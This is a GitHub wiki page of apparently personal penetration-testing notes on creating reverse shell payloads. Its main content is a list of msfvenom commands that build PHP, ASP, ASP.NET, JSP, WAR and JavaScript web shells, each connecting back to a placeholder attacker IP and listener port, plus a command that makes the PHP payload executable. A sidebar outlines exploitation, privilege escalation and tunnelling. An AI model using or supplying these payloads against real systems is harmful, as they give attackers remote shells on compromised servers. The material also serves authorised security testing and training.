Skip to content

Create reverse shell payload

lethanhtung01011980 edited this page Jun 16, 2020 · 27 revisions

Create reverse shell payload

Reverse shell one liner

Web full shell

Refs:

PHP special reverse shell

Web:

  • PHP: msfvenom -p php/reverse_php LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f raw > shell.php
  • (Not allowed) PHP 2: msfvenom -p php/meterpreter_reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f raw > shell.php
  • Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:
  • cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
  • ASP 1: (Unstaged - Can use nc) msfvenom -p windows/shell_reverse_tcp LHOST=Attacker_IP LPORT=4444 -f asp > shell.asp

  • ASP 2: (Staged - Need Metasploit multi handler) msfvenom -p windows/shell/reverse_tcp LHOST=Attacker_IP LPORT=4444 -f asp > shell.asp

  • ASP.NET: (Can use nc. Tested) msfvenom -p windows/shell_reverse_tcp LHOST=Attacker_IP LPORT=6789 -f aspx > myshell.aspx

  • (Not allowed) ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f asp > shell.asp

  • JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f raw > shell.jsp

  • WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f war > shell.war

  • Unicode JS: msfvenom -p windows/shell_reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f js_le -e generic/none

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally